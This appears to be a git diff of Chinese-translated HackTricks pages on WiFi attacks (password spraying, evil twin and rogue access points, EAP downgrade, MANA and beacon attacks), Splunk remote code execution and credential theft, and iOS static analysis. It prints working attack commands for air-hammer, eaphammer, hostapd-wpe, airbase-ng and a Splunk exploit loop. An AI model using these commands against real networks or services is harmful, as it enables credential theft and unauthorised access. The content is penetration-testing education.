无论选择哪种协议,PEAP/TTLS服务器在建立TLS隧道后都会获得用户的真实身份。真实身份可以表示为user@realm或简单的user。如果PEAP/TTLS服务器还负责对用户进行身份验证,它现在拥有用户的身份,并继续进行受TLS隧道保护的认证方法。或者,PEAP/TTLS服务器可以将新的RADIUS请求转发到用户的家庭RADIUS服务器。此新的RADIUS请求省略了PEAP或TTLS协议层。在受保护的认证方法为EAP的情况下,内部EAP消息在没有EAP-PEAP或EAP-TTLS包装的情况下传输到家庭RADIUS服务器。发出的RADIUS消息的用户名称属性包含用户的真实身份,替换了来自传入RADIUS请求的匿名用户名称。当受保护的认证方法为PAP或CHAP(仅TTLS支持)时,从TLS有效负载中提取的用户名称和其他认证属性在发出的RADIUS消息中替换,取代了传入RADIUS请求中找到的匿名用户名称和TTLS EAP-消息属性。
|
||||
|
||||
有关更多信息,请查看[https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
|
||||
|
||||
### EAP-暴力破解(密码喷洒)
|
||||
|
||||
如果客户端预计使用**用户名和密码**(请注意,在这种情况下**EAP-TLS将无效**),那么您可以尝试获取**用户名**的**列表**(见下一部分)和**密码**,并尝试使用[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**进行**暴力破解**。
|
||||
如果客户端预计使用**用户名和密码**(请注意,在这种情况下**EAP-TLS将无效**),那么您可以尝试获取**用户名**(见下一部分)和**密码**的**列表**,并尝试使用[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**进行**暴力破解**。
|
||||
```bash
|
||||
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
|
||||
```
|
||||
@ -461,7 +463,7 @@ dnsmasq -C dnsmasq.conf -d
|
||||
```bash
|
||||
apt-get install hostapd
|
||||
```
|
||||
创建配置文件 `hostapd.conf`:
|
||||
创建一个配置文件 `hostapd.conf`:
|
||||
```ini
|
||||
interface=wlan0
|
||||
driver=nl80211
|
||||
@ -479,7 +481,7 @@ wpa_group_rekey=86400
|
||||
ieee80211n=1
|
||||
wme_enabled=1
|
||||
```
|
||||
**停止烦人的进程**,设置**监控模式**,并**启动hostapd**:
|
||||
**停止烦人的进程**,设置 **监控模式**,并 **启动 hostapd**:
|
||||
```bash
|
||||
airmon-ng check kill
|
||||
iwconfig wlan0 mode monitor
|
||||
@ -494,7 +496,7 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
```
|
||||
## Evil Twin
|
||||
|
||||
恶意双胞胎攻击利用了WiFi客户端识别网络的方式,主要依赖于网络名称(ESSID),而不需要基站(接入点)向客户端进行身份验证。关键点包括:
|
||||
恶意双胞胎攻击利用WiFi客户端识别网络的方式,主要依赖网络名称(ESSID),而不需要基站(接入点)向客户端进行身份验证。关键点包括:
|
||||
|
||||
- **区分困难**:当设备共享相同的ESSID和加密类型时,难以区分合法和恶意接入点。现实世界的网络通常使用多个具有相同ESSID的接入点以无缝扩展覆盖范围。
|
||||
- **客户端漫游和连接操控**:802.11协议允许设备在同一ESS内的接入点之间漫游。攻击者可以利用这一点,诱使设备断开与当前基站的连接并连接到恶意接入点。这可以通过提供更强的信号或通过去身份验证数据包或干扰等方法中断与合法接入点的连接来实现。
|
||||
@ -504,7 +506,7 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
```bash
|
||||
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
||||
```
|
||||
您还可以使用 **eaphammer** 创建一个 Evil Twin(请注意,要使用 eaphammer 创建恶意双胞胎,接口 **不应** 处于 **监视** 模式):
|
||||
您还可以使用 **eaphammer** 创建一个 Evil Twin(请注意,要使用 eaphammer 创建恶意双胞胎,接口 **不应** 处于 **监控** 模式):
|
||||
```bash
|
||||
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
||||
```
|
||||
@ -512,19 +514,19 @@ airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
||||
|
||||
.png>)
|
||||
|
||||
请注意,默认情况下,如果 PNL 中的 ESSID 被保存为 WPA 保护,设备将不会自动连接到开放的 Evil Twin。你可以尝试对真实 AP 进行 DoS 攻击,并希望用户手动连接到你的开放 Evil Twin,或者你可以对真实 AP 进行 DoS 攻击并使用 WPA Evil Twin 来捕获握手(使用这种方法你将无法让受害者连接到你,因为你不知道 PSK,但你可以捕获握手并尝试破解它)。
|
||||
请注意,默认情况下,如果 PNL 中的 ESSID 被保存为 WPA 保护,设备将不会自动连接到开放的 Evil Twin。您可以尝试对真实 AP 进行 DoS 攻击,并希望用户手动连接到您的开放 Evil Twin,或者您可以对真实 AP 进行 DoS 攻击并使用 WPA Evil Twin 捕获握手(使用此方法您将无法让受害者连接到您,因为您不知道 PSK,但您可以捕获握手并尝试破解它)。
|
||||
|
||||
_某些操作系统和防病毒软件会警告用户连接到开放网络是危险的..._
|
||||
|
||||
### WPA/WPA2 Evil Twin
|
||||
|
||||
你可以创建一个 **使用 WPA/2 的 Evil Twin**,如果设备配置为连接到该 SSID 并使用 WPA/2,它们将尝试连接。无论如何,**要完成 4-way-handshake**,你还需要 **知道** 客户端将使用的 **密码**。如果你 **不知道**,则 **连接将无法完成**。
|
||||
您可以创建一个 **使用 WPA/2 的 Evil Twin**,如果设备已配置为连接到该 SSID 并使用 WPA/2,它们将尝试连接。无论如何,**要完成 4-way-handshake**,您还需要 **知道** 客户端将使用的 **密码**。如果您 **不知道**,则 **连接将无法完成**。
|
||||
```bash
|
||||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||||
```
|
||||
### 企业恶意双胞胎
|
||||
|
||||
要理解这些攻击,我建议在简要介绍之前阅读 [WPA Enterprise 解释](#wpa-enterprise-mgt)。
|
||||
要理解这些攻击,我建议在简要阅读之前先阅读 [WPA Enterprise 解释](#wpa-enterprise-mgt)。
|
||||
|
||||
**使用 hostapd-wpe**
|
||||
|
||||
@ -549,39 +551,39 @@ hostapd-wpe ./victim/victim.conf -s
|
||||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
这是避免长连接时间的默认方法。然而,您还可以指定服务器的认证方法,从最弱到最强:
|
||||
这是避免长连接时间的默认方法。然而,您还可以指定服务器将身份验证方法从最弱到最强进行排序:
|
||||
```
|
||||
--negotiate weakest
|
||||
```
|
||||
或者你也可以使用:
|
||||
|
||||
- `--negotiate gtc-downgrade` 来使用高效的 GTC 降级实现(明文密码)
|
||||
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` 手动指定提供的方法(以相同的顺序提供相同的认证方法,攻击将更难被检测)。
|
||||
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` 手动指定提供的方法(以相同顺序提供相同的认证方法会使攻击更难被检测)。
|
||||
- [在维基中找到更多信息](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
|
||||
**使用 Airgeddon**
|
||||
|
||||
`Airgeddon` 可以使用先前生成的证书为 WPA/WPA2-Enterprise 网络提供 EAP 认证。假网络将把连接协议降级为 EAP-MD5,以便能够 **捕获用户和密码的 MD5**。之后,攻击者可以尝试破解密码。\
|
||||
`Airgeddon` 为你提供了 **持续的恶意双胞胎攻击(嘈杂)** 或 **仅在有人连接时创建恶意攻击(平滑)** 的可能性。
|
||||
`Airgeddon` 可以使用之前生成的证书为 WPA/WPA2-Enterprise 网络提供 EAP 认证。假网络将把连接协议降级为 EAP-MD5,以便能够 **捕获用户和密码的 MD5**。之后,攻击者可以尝试破解密码。\
|
||||
`Airgeddon` 为你提供了 **持续的 Evil Twin 攻击(嘈杂)** 或 **仅在有人连接时创建 Evil Attack(平滑)** 的可能性。
|
||||
|
||||
.png>)
|
||||
|
||||
### 在恶意双胞胎攻击中调试 PEAP 和 EAP-TTLS TLS 隧道
|
||||
### 在 Evil Twins 攻击中调试 PEAP 和 EAP-TTLS TLS 隧道
|
||||
|
||||
_此方法在 PEAP 连接中进行了测试,但由于我正在解密任意 TLS 隧道,因此这也应该适用于 EAP-TTLS_
|
||||
_此方法在 PEAP 连接中进行了测试,但由于我正在解密任意 TLS 隧道,这也应该适用于 EAP-TTLS_
|
||||
|
||||
在 _hostapd-wpe_ 的 **配置** 中 **注释** 包含 _**dh_file**_ 的行(从 `dh_file=/etc/hostapd-wpe/certs/dh` 到 `#dh_file=/etc/hostapd-wpe/certs/dh`)\
|
||||
这将使 `hostapd-wpe` **使用 RSA 交换密钥** 而不是 DH,因此你将能够 **解密** 流量,前提是 **知道服务器的私钥**。
|
||||
在 _hostapd-wpe_ 的 **配置** 中 **注释** 包含 _**dh_file**_ 的行(从 `dh_file=/etc/hostapd-wpe/certs/dh` 改为 `#dh_file=/etc/hostapd-wpe/certs/dh`)\
|
||||
这将使 `hostapd-wpe` **使用 RSA 交换密钥** 而不是 DH,因此你将能够 **在知道服务器私钥的情况下解密** 流量。
|
||||
|
||||
现在使用 **`hostapd-wpe`** 启动 **恶意双胞胎**,并使用该修改过的配置如往常一样。还要在执行恶意双胞胎攻击的 **接口** 中启动 **`wireshark`**。
|
||||
现在使用 **`hostapd-wpe`** 启动 **Evil Twin**,并使用该修改过的配置如往常一样。还要在执行 Evil Twin 攻击的 **接口** 中启动 **`wireshark`**。
|
||||
|
||||
现在或稍后(当你已经捕获了一些认证意图时),你可以在 `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` 中将私有 RSA 密钥添加到 wireshark。
|
||||
现在或稍后(当你已经捕获了一些认证意图时)可以在 `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` 中将私有 RSA 密钥添加到 wireshark。
|
||||
|
||||
添加一个新条目,并用以下值填写表单:**IP 地址 = any** -- **端口 = 0** -- **协议 = data** -- **密钥文件**(**选择你的密钥文件**,为避免问题选择一个 **没有密码保护的密钥文件**)。
|
||||
|
||||
.png>)
|
||||
|
||||
并查看新的 **"解密的 TLS" 标签**:
|
||||
然后查看新的 **"Decrypted TLS" 标签**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -589,16 +591,16 @@ _此方法在 PEAP 连接中进行了测试,但由于我正在解密任意 TLS
|
||||
|
||||
### ESSID 和 MAC 黑白名单
|
||||
|
||||
不同类型的媒体接入控制过滤列表(MFACLs)及其对应的模式和对恶意接入点(AP)行为的影响:
|
||||
不同类型的媒体接入控制过滤列表(MFACLs)及其对应的模式和对流氓接入点(AP)行为的影响:
|
||||
|
||||
1. **基于 MAC 的白名单**:
|
||||
- 恶意 AP 仅对白名单中指定的设备的探测请求作出响应,对未列出的所有其他设备保持不可见。
|
||||
- 流氓 AP 仅对白名单中指定的设备的探测请求作出响应,对未列出的所有其他设备保持不可见。
|
||||
2. **基于 MAC 的黑名单**:
|
||||
- 恶意 AP 将忽略黑名单中设备的探测请求,从而使恶意 AP 对这些特定设备不可见。
|
||||
- 流氓 AP 将忽略黑名单中设备的探测请求,从而使流氓 AP 对这些特定设备不可见。
|
||||
3. **基于 SSID 的白名单**:
|
||||
- 恶意 AP 仅对列出的特定 ESSID 的探测请求作出响应,使其对首选网络列表(PNL)中不包含这些 ESSID 的设备不可见。
|
||||
- 流氓 AP 仅对列出的特定 ESSID 的探测请求作出响应,使其对首选网络列表(PNL)中不包含这些 ESSID 的设备不可见。
|
||||
4. **基于 SSID 的黑名单**:
|
||||
- 恶意 AP 不会对黑名单中特定 ESSID 的探测请求作出响应,使其对寻求这些特定网络的设备不可见。
|
||||
- 流氓 AP 不会对黑名单中特定 ESSID 的探测请求作出响应,使其对寻求这些特定网络的设备不可见。
|
||||
```bash
|
||||
# example EAPHammer MFACL file, wildcards can be used
|
||||
09:6a:06:c8:36:af
|
||||
@ -624,29 +626,29 @@ name3
|
||||
|
||||
### MANA
|
||||
|
||||
然后,**设备开始忽略未经请求的网络响应**,降低了原始karma攻击的有效性。然而,一种新的方法被引入,称为**MANA攻击**,由Ian de Villiers和Dominic White提出。该方法涉及流氓AP**通过对设备的广播探测请求做出响应,捕获设备的首选网络列表(PNL)**,并使用设备之前请求的网络名称(SSID)。这种复杂的攻击通过利用设备记住和优先考虑已知网络的方式,绕过了对原始karma攻击的保护。
|
||||
然后,**设备开始忽略不可靠的网络响应**,降低了原始karma攻击的有效性。然而,一种新的方法被引入,称为**MANA攻击**,由Ian de Villiers和Dominic White提出。该方法涉及流氓AP**通过响应设备的广播探测请求来捕获设备的首选网络列表(PNL)**,并使用设备之前已知的网络名称(SSID)。这种复杂的攻击通过利用设备记忆和优先考虑已知网络的方式,绕过了对原始karma攻击的保护。
|
||||
|
||||
MANA攻击通过监控设备的定向和广播探测请求来操作。对于定向请求,它记录设备的MAC地址和请求的网络名称,并将此信息添加到列表中。当接收到广播请求时,AP会以与设备列表中任何网络匹配的信息做出响应,诱使设备连接到流氓AP。
|
||||
MANA攻击通过监控设备的定向和广播探测请求来操作。对于定向请求,它记录设备的MAC地址和请求的网络名称,并将此信息添加到列表中。当接收到广播请求时,AP会以匹配设备列表中任何网络的信息进行响应,诱使设备连接到流氓AP。
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Loud MANA
|
||||
|
||||
一个 **Loud MANA 攻击** 是一种高级策略,适用于设备不使用定向探测或其首选网络列表(PNL)对攻击者未知的情况。它的原理是 **同一区域内的设备很可能在其 PNL 中共享一些网络名称**。该攻击不是选择性响应,而是对所有观察到的设备的组合 PNL 中找到的每个网络名称(ESSID)广播探测响应。这种广泛的方法增加了设备识别熟悉网络并尝试连接到恶意接入点(AP)的机会。
|
||||
一个**Loud MANA 攻击**是一种高级策略,适用于设备不使用定向探测或其首选网络列表(PNL)对攻击者未知的情况。它的原理是**同一区域内的设备很可能在其 PNL 中共享一些网络名称**。该攻击不是选择性响应,而是对所有观察到的设备的组合 PNL 中找到的每个网络名称(ESSID)广播探测响应。这种广泛的方法增加了设备识别熟悉网络并尝试连接到恶意接入点(AP)的机会。
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Known Beacon attack
|
||||
|
||||
当**Loud MANA attack**可能不足时,**Known Beacon attack**提供了另一种方法。此方法**通过模拟一个响应任何网络名称的AP来暴力破解连接过程,循环遍历从字典中派生的潜在ESSID列表**。这模拟了众多网络的存在,希望能在受害者的PNL中匹配到一个ESSID,从而促使尝试连接到伪造的AP。通过将其与`--loud`选项结合,可以增强攻击力度,以更具侵略性地捕获设备。
|
||||
当**Loud MANA attack**可能不足时,**Known Beacon attack**提供了另一种方法。此方法**通过模拟一个响应任何网络名称的AP来暴力破解连接过程,循环遍历从字典中派生的潜在ESSID列表**。这模拟了众多网络的存在,希望能在受害者的PNL中匹配到一个ESSID,从而促使尝试连接到伪造的AP。通过将其与`--loud`选项结合,可以增强攻击,以更具攻击性地捕获设备。
|
||||
|
||||
Eaphammer将此攻击实现为MANA攻击,其中列表中的所有ESSID都被激活(您还可以将其与`--loud`结合,以创建Loud MANA + Known beacons攻击):
|
||||
Eaphammer将此攻击实现为MANA攻击,其中列表中的所有ESSID都被激活(您还可以将其与`--loud`结合,以创建Loud MANA + Known beacons attack):
|
||||
```bash
|
||||
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
**已知信标突发攻击**
|
||||
|
||||
**已知信标突发攻击**涉及**快速广播文件中列出的每个 ESSID 的信标帧**。这会创建一个密集的虚假网络环境,极大地提高设备连接到恶意 AP 的可能性,尤其是在与 MANA 攻击结合使用时。该技术利用速度和数量来压倒设备的网络选择机制。
|
||||
**已知信标突发攻击**涉及**快速广播文件中列出的每个 ESSID 的信标帧**。这会创建一个密集的虚假网络环境,极大地提高设备连接到恶意 AP 的可能性,尤其是在与 MANA 攻击结合时。该技术利用速度和数量来压倒设备的网络选择机制。
|
||||
```bash
|
||||
# transmit a burst of 5 forged beacon packets for each entry in list
|
||||
./forge-beacons -i wlan1 \
|
||||
@ -665,11 +667,11 @@ Wi-Fi Direct 连接的安全性通过 **Wi-Fi Protected Setup (WPS)** 建立,
|
||||
- **PIN 输入**
|
||||
- **近场通信 (NFC)**
|
||||
|
||||
这些方法,特别是 PIN 输入,容易受到与传统 Wi-Fi 网络中 WPS 相同的漏洞影响,使其成为类似攻击向量的目标。
|
||||
这些方法,特别是 PIN 输入,容易受到与传统 Wi-Fi 网络中 WPS 相同的漏洞的影响,使其成为类似攻击向量的目标。
|
||||
|
||||
### EvilDirect Hijacking
|
||||
|
||||
**EvilDirect Hijacking** 是一种特定于 Wi-Fi Direct 的攻击。它模仿 Evil Twin 攻击的概念,但针对 Wi-Fi Direct 连接。在这种情况下,攻击者冒充合法的组所有者,目的是欺骗设备连接到恶意实体。此方法可以使用 `airbase-ng` 等工具执行,通过指定频道、ESSID 和被冒充设备的 MAC 地址:
|
||||
**EvilDirect Hijacking** 是一种特定于 Wi-Fi Direct 的攻击。它反映了 Evil Twin 攻击的概念,但针对 Wi-Fi Direct 连接。在这种情况下,攻击者冒充合法的组所有者,目的是欺骗设备连接到恶意实体。此方法可以使用 `airbase-ng` 等工具执行,通过指定通道、ESSID 和被冒充设备的 MAC 地址:
|
||||
|
||||
## References
|
||||
|
||||
@ -684,6 +686,6 @@ Wi-Fi Direct 连接的安全性通过 **Wi-Fi Protected Setup (WPS)** 建立,
|
||||
- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)
|
||||
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
||||
|
||||
TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
|
||||
TODO: 查看 [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (使用 Facebook 登录并在强制门户中模拟 WPA)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
如果在**内部**或**外部**枚举一台机器时发现**Splunk正在运行**(端口8090),如果你幸运地知道任何**有效凭据**,你可以**利用Splunk服务**以运行Splunk的用户身份**执行一个shell**。如果是root在运行,你可以提升权限到root。
|
||||
如果在**内部**或**外部**枚举一台机器时发现**Splunk正在运行**(端口8090),如果你幸运地知道任何**有效凭据**,你可以**利用Splunk服务**以运行Splunk的用户身份**执行一个shell**。如果是root在运行它,你可以提升权限到root。
|
||||
|
||||
此外,如果你**已经是root并且Splunk服务不仅在localhost上监听**,你可以**窃取**Splunk服务的**密码**文件并**破解**密码,或者**添加新的**凭据。并在主机上保持持久性。
|
||||
|
||||
@ -39,9 +39,9 @@ for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8
|
||||
```
|
||||
**可用的公共漏洞:**
|
||||
|
||||
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
|
||||
- https://www.exploit-db.com/exploits/46238
|
||||
- https://www.exploit-db.com/exploits/46487
|
||||
- [https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)
|
||||
- [https://www.exploit-db.com/exploits/46238](https://www.exploit-db.com/exploits/46238)
|
||||
- [https://www.exploit-db.com/exploits/46487](https://www.exploit-db.com/exploits/46487)
|
||||
|
||||
## 滥用 Splunk 查询
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@ ios-basics.md
|
||||
|
||||
## Testing Environment
|
||||
|
||||
在此页面中,您可以找到有关 **iOS 模拟器**、**仿真器** 和 **越狱** 的信息:
|
||||
在此页面中,您可以找到有关**iOS 模拟器**、**模拟器**和**越狱**的信息:
|
||||
|
||||
{{#ref}}
|
||||
ios-testing-environment.md
|
||||
@ -20,26 +20,26 @@ ios-testing-environment.md
|
||||
|
||||
### Basic iOS Testing Operations
|
||||
|
||||
在测试过程中 **将建议进行几项操作**(连接到设备、读/写/上传/下载文件、使用一些工具...)。因此,如果您不知道如何执行这些操作,请 **开始阅读此页面**:
|
||||
在测试过程中**将建议进行几项操作**(连接到设备、读/写/上传/下载文件、使用一些工具...)。因此,如果您不知道如何执行这些操作,请**开始阅读此页面**:
|
||||
|
||||
{{#ref}}
|
||||
basic-ios-testing-operations.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> 对于以下步骤 **应用程序应已安装** 在设备上,并且应已获得 **IPA 文件**。\
|
||||
> 阅读 [Basic iOS Testing Operations](basic-ios-testing-operations.md) 页面以了解如何执行此操作。
|
||||
> [!TIP]
|
||||
> 对于以下步骤,**应用程序应已安装**在设备上,并且应已获得应用程序的**IPA 文件**。\
|
||||
> 阅读[Basic iOS Testing Operations](basic-ios-testing-operations.md)页面以了解如何执行此操作。
|
||||
|
||||
### Basic Static Analysis
|
||||
|
||||
一些有趣的 iOS - IPA 文件反编译工具:
|
||||
|
||||
- https://github.com/LaurieWired/Malimite
|
||||
- https://ghidra-sre.org/
|
||||
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
|
||||
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
|
||||
|
||||
建议使用工具 [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) 对 IPA 文件进行自动静态分析。
|
||||
建议使用工具[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)对 IPA 文件进行自动静态分析。
|
||||
|
||||
识别 **二进制文件中存在的保护**:
|
||||
识别**二进制文件中存在的保护**:
|
||||
|
||||
- **PIE (Position Independent Executable)**:启用时,应用程序每次启动时加载到随机内存地址,使其初始内存地址更难预测。
|
||||
|
||||
@ -47,7 +47,7 @@ basic-ios-testing-operations.md
|
||||
otool -hv <app-binary> | grep PIE # 应该包含 PIE 标志
|
||||
```
|
||||
|
||||
- **Stack Canaries**:为了验证栈的完整性,在调用函数之前将一个“金丝雀”值放置在栈上,并在函数结束时再次验证。
|
||||
- **Stack Canaries**:为了验证堆栈的完整性,在调用函数之前将一个“金丝雀”值放置在堆栈上,并在函数结束时再次验证。
|
||||
|
||||
```bash
|
||||
otool -I -v <app-binary> | grep stack_chk # 应该包含符号:stack_chk_guard 和 stack_chk_fail
|
||||
@ -59,13 +59,13 @@ otool -I -v <app-binary> | grep stack_chk # 应该包含符号:stack_chk_gua
|
||||
otool -I -v <app-binary> | grep objc_release # 应该包含 _objc_release 符号
|
||||
```
|
||||
|
||||
- **Encrypted Binary**:二进制文件应已加密
|
||||
- **Encrypted Binary**:二进制文件应被加密
|
||||
|
||||
```bash
|
||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # cryptid 应该为 1
|
||||
```
|
||||
|
||||
**识别敏感/不安全函数**
|
||||
**识别敏感/不安全的函数**
|
||||
|
||||
- **弱哈希算法**
|
||||
|
||||
@ -93,7 +93,7 @@ grep -iER "_srand"
|
||||
grep -iER "_rand"
|
||||
```
|
||||
|
||||
- **不安全的 ‘Malloc’ 函数**
|
||||
- **不安全的‘Malloc’函数**
|
||||
|
||||
```bash
|
||||
# 在 iOS 设备上
|
||||
@ -135,11 +135,11 @@ grep -iER "_vsprintf"
|
||||
|
||||
### Basic Dynamic Analysis
|
||||
|
||||
查看 [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) 执行的动态分析。您需要浏览不同的视图并与之互动,但它将在执行其他操作时挂钩多个类,并在完成后准备报告。
|
||||
查看[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)执行的动态分析。您需要浏览不同的视图并与之互动,但它将在执行其他操作时挂钩多个类,并在完成后准备报告。
|
||||
|
||||
### Listing Installed Apps
|
||||
|
||||
使用命令 `frida-ps -Uai` 来确定已安装应用程序的 **bundle identifier**:
|
||||
使用命令`frida-ps -Uai`来确定已安装应用程序的**bundle identifier**:
|
||||
```bash
|
||||
$ frida-ps -Uai
|
||||
PID Name Identifier
|
||||
@ -164,11 +164,11 @@ ios-hooking-with-objection.md
|
||||
|
||||
**IPA文件**的结构本质上是一个**压缩包**。通过将其扩展名重命名为`.zip`,可以**解压缩**以揭示其内容。在此结构中,**Bundle**表示一个完全打包的应用程序,准备安装。在其中,您会找到一个名为`<NAME>.app`的目录,封装了应用程序的资源。
|
||||
|
||||
- **`Info.plist`**:此文件包含应用程序的特定配置详细信息。
|
||||
- **`Info.plist`**:此文件包含应用程序的特定配置细节。
|
||||
- **`_CodeSignature/`**:此目录包含一个plist文件,包含签名,确保包中所有文件的完整性。
|
||||
- **`Assets.car`**:一个压缩档案,存储图标等资产文件。
|
||||
- **`Frameworks/`**:此文件夹包含应用程序的本地库,可能以`.dylib`或`.framework`文件的形式存在。
|
||||
- **`PlugIns/`**:这可能包括对应用程序的扩展,称为`.appex`文件,尽管它们并不总是存在。 \* [**`Core Data`**](https://developer.apple.com/documentation/coredata):用于保存应用程序的永久数据以供离线使用,缓存临时数据,并为您的应用在单个设备上添加撤销功能。要在单个iCloud帐户中的多个设备之间同步数据,Core Data会自动将您的架构镜像到CloudKit容器中。
|
||||
- **`Frameworks/`**:此文件夹包含应用程序的本地库,可能是`.dylib`或`.framework`文件的形式。
|
||||
- **`PlugIns/`**:这可能包括应用程序的扩展,称为`.appex`文件,尽管它们并不总是存在。 \* [**`Core Data`**](https://developer.apple.com/documentation/coredata):用于保存应用程序的永久数据以供离线使用,缓存临时数据,并为您的应用在单个设备上添加撤消功能。要在单个iCloud帐户中的多个设备之间同步数据,Core Data会自动将您的架构镜像到CloudKit容器中。
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html):`PkgInfo`文件是指定应用程序或包的类型和创建者代码的另一种方式。
|
||||
- **en.lproj, fr.proj, Base.lproj**:是包含特定语言资源的语言包,以及在不支持某种语言时的默认资源。
|
||||
- **安全性**:`_CodeSignature/`目录在应用程序的安全性中发挥着关键作用,通过数字签名验证所有打包文件的完整性。
|
||||
@ -178,7 +178,7 @@ ios-hooking-with-objection.md
|
||||
|
||||
**Info.plist**
|
||||
|
||||
**Info.plist**是iOS应用程序的基石,以**键值**对的形式封装关键配置数据。此文件不仅是应用程序的必需品,也是捆绑在内的应用扩展和框架的必需品。它以XML或二进制格式结构化,包含从应用权限到安全配置的关键信息。有关可用键的详细探索,可以参考[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)。
|
||||
**Info.plist**是iOS应用程序的基石,以**键值**对的形式封装关键配置数据。此文件不仅是应用程序的必需品,也是捆绑在内的应用扩展和框架的必需品。它的结构为XML或二进制格式,包含从应用权限到安全配置的关键信息。有关可用键的详细探索,可以参考[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)。
|
||||
|
||||
对于希望以更易于访问的格式处理此文件的用户,可以通过在macOS上使用`plutil`(在10.2及更高版本中原生可用)或在Linux上使用`plistutil`轻松实现XML转换。转换的命令如下:
|
||||
|
||||
@ -197,14 +197,14 @@ $ grep -i <keyword> Info.plist
|
||||
```
|
||||
**数据路径**
|
||||
|
||||
在 iOS 环境中,目录专门为 **系统应用** 和 **用户安装的应用** 指定。系统应用位于 `/Applications` 目录下,而用户安装的应用则放在 `/var/mobile/containers/Data/Application/` 下。这些应用被分配一个称为 **128-bit UUID** 的唯一标识符,使得手动定位应用文件夹的任务因目录名称的随机性而变得具有挑战性。
|
||||
在 iOS 环境中,目录专门用于 **系统应用程序** 和 **用户安装的应用程序**。系统应用程序位于 `/Applications` 目录下,而用户安装的应用程序则放置在 `/var/mobile/containers/Data/Application/` 下。这些应用程序被分配一个称为 **128-bit UUID** 的唯一标识符,使得手动定位应用程序文件夹的任务因目录名称的随机性而变得具有挑战性。
|
||||
|
||||
> [!WARNING]
|
||||
> 由于 iOS 中的应用必须被沙盒化,每个应用在 **`$HOME/Library/Containers`** 中也会有一个以应用的 **`CFBundleIdentifier`** 作为文件夹名称的文件夹。
|
||||
> 由于 iOS 中的应用程序必须被沙盒化,每个应用程序在 **`$HOME/Library/Containers`** 中也会有一个以应用程序的 **`CFBundleIdentifier`** 作为文件夹名称的文件夹。
|
||||
>
|
||||
> 然而,这两个文件夹(数据和容器文件夹)都有文件 **`.com.apple.mobile_container_manager.metadata.plist`**,该文件在键 `MCMetadataIdentifier` 中链接了这两个文件。
|
||||
|
||||
为了方便发现用户安装的应用的安装目录,**objection tool** 提供了一个有用的命令 `env`。该命令显示了相关应用的详细目录信息。以下是如何使用此命令的示例:
|
||||
为了方便发现用户安装的应用程序的安装目录,**objection 工具** 提供了一个有用的命令 `env`。该命令显示了相关应用程序的详细目录信息。以下是如何使用此命令的示例:
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||
|
||||
@ -227,17 +227,17 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
**Bundle directory:**
|
||||
|
||||
- **AppName.app**
|
||||
